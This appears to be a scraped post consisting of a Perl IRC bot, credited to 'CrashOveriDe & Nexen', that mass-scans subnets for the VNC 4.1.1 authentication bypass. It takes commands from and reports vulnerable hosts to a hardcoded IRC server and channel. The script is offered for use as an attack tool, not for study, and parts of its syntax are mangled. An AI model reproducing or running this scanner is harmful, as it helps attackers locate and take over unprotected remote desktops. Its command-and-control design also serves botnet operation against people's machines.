a legenda ja diz tudo.
#!/usr/bin/perl # IRC Scanner - VNC VULN SCAN # projetos# Multi-threaded scan for OpenVNC 4.11 authentication bypass. # Based on Tyler Krpata's Perl scanning code. #piglio le librerie use IO::Socket; use IO::Socket::INET; use threads; use threads::shared; use Errno qw(EAGAIN); use strict; use warnings; my $line; my $vulnerabili; #definisco alcune var our @results : shared; our $todo = 0; our $contatore = 0; my $orig_thread = "yes"; my $start; my $end; my $time_estimate; my $elapsed = time; my $out_file; ++$|; # To watch as the results come in, in real time. #variabili di configurazione use constant VNC_PORT => 5900; my $splits = 5; # Creates 2^N processes. my $avg_time = 5; # Tweak this to get better time estimates. our $subnet; my $server="93.174.0.37"; # irc server my $porta="7000"; # port my $nick="[Scan|VNC]";# nick my $canale="#xp"; # canale #mi connetto a irc my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Prot o= >"tcp") or die "Can not connect on server!\n"; $sk->autoflush(1); print $sk "PASS mawhaha\r\n"; print $sk "NICK $nick\r\n"; print $sk "USER vncscan_bot 8 * : nexen : priv8 : crash_overide :unknown\r\n"; print $sk "JOIN $canale\r\n"; printa(" 4,1 9Priv8 VNC SCANNER --- by 4CrashOveriDe & Nexen 9 -- Priv8!! Priv8!! Priv8!! -- !! \r\n"); printa(" 4,1 9Priv8 VNC SCANNER --- For scan use 4!scan range 9 [ex 1.1.1.*]-- Priv8!! Priv8!! Priv8!! -- !! \r\n"); #PRENDO I MESSAGGI while($line = <$sk>){ $line =~ s/rn$//; if ($line=~ /^PING .*)/) ######## PING REPLY { print $sk "PONG :$1"; } ############################ END PING REPLY if ($line=~ /!scan (.+)/) { $subnet = $1; if ($subnet =~ m/^d{1,3}.d{1,3}.d{1,3}.?*?/) { # Put the subnet in the form x.y.z. so we can just concatenate the hostnum. $subnet =~ s/^(d{1,3}.d{1,3}.d{1,3}).*/$1/; $subnet .= "."; $out_file = "VNC_" . $subnet . "txt"; # Mostly a guesstimate $time_estimate = $avg_time * (256 / (2**$splits)); $time_estimate = int ($time_estimate / 60); $time_estimate += 4; printa(" 4,1 9Scanning subnet ${subnet}x -- this should take approximately $time_estimate minute(s). \n"); printa(" 4,1 9[!] = Vulnerable,[*] = Safe, [.] = No response. "); CHECK: { unless ($splits >= 0 && $splits <= 8) { die "ERROR: Do not split $splits times--that makes no sense.\n"; } unless ($splits <= 5) { warn "Reduce the number of splits from $splits to 5 or less if you get memory errors.\n\n"; } } # Ugly, but this works. DivideWork() if $splits >= 1; DivideWork() if $splits >= 2; DivideWork() if $splits >= 3; DivideWork() if $splits >= 4; DivideWork() if $splits >= 5; DivideWork() if $splits >= 6; DivideWork() if $splits >= 7; DivideWork() if $splits >= 8; # Which IPs this thread scans. $start = $todo << (8 - $splits); $end = $start + (256 / (2**$splits)) - 1; foreach ($start .. $end) { Scan_VNC($_); } wait until $?; # Wait for children to finish. exit unless $orig_thread eq "yes"; # Only the original parent thread will continue. $elapsed = time - $elapsed; $elapsed /= 60; $elapsed = int $elapsed; printa(" 4,1 9Finished scanning ${subnet}x in $elapsed minute(s). "); $vulnerabili=SaveData(); printa(" 4,1 9Trovate TOTALI $vulnerabili VNCS "); } else { printa(" 4,1 9Non e la sintassi giusta lamah. Inserisci qualcosa come 192.168.1.* "); } } } #################################### sub DivideWork { my $pid; FORK: { $todo *= 2; if ($pid = fork) { # Parent ++$todo; } elsif (defined $pid) { # Child $orig_thread = "no"; } elsif ($! == EAGAIN) { # Recoverable forking error. sleep 7; redo FORK; } else { # Unable to fork. printa("Unable to fork: $!\n"); } } } sub SaveData { my $vulns = 0; open(FOUND, ">", $out_file) or die "Cannot open $out_file -- $!"; foreach my $IP (1..254) { my $record; $record = $results[$IP]; unless ($record =~ /not vulnerable/) { ++$vulns; print FOUND $record; } } print FOUND "\nVulnerabilites found: $vulns"; close(FOUND) or die "Cannot close $out_file -- $!"; printa("Data saved to ${out_file}"); return $vulns; } sub Scan_VNC { # Scan for OpenVNC 4.11 authentication bypass. my $hostnum = shift; my $host = $subnet . $hostnum; my $sock; my $proto_ver; my $ignored; my $auth_type; my $sec_types; my $vnc_data; $host or printa("ERROR: no host passed to Scan_VNC."); # The host numbers .0 and .255 are reserved; ignore them. if ($hostnum <= 0 or $hostnum >= 255) { return; } # Format things nicely--that crazy formula just adds spaces. $results[$hostnum] = "$host"; $results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = "; unless ($sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => VNC_PORT, Proto => 'tcp',)) { $results[$hostnum] .= "Not vulnerable, no response.\n"; printa("."); return; } # Negotiate protocol version. $sock->read($proto_ver, 12); print $sock $proto_ver; # Get supported security types and ignore them. $sock->read($sec_types, 1); $sock->read($ignored, unpack('C', $sec_types)); # Claim that we only support no authentication. print $sock "\x01"; # We should get "0000" back, indicating that they won't fall back to no authentication. $sock->read($auth_type, 4); if (unpack('I', $auth_type)) { $results[$hostnum] .= "Not vulnerable, refused to support authentication type.\n"; printa("*"); close($sock); return; } # Client initialize. print $sock "\x01"; # If the server starts sending data, we're in. $sock->read($vnc_data, 4); if (unpack('I', $vnc_data)) { $results[$hostnum] .= "VULNERABLE! $proto_ver\n"; printa("! $host$hostnum VULNERABLE"); } else { $results[$hostnum] .= "Not vulnerable, did not send data.\n"; printa("*"); } close($sock); return; } sub printa { print "PRIVMSG $canale : ".$_[0]."\r\n"; }
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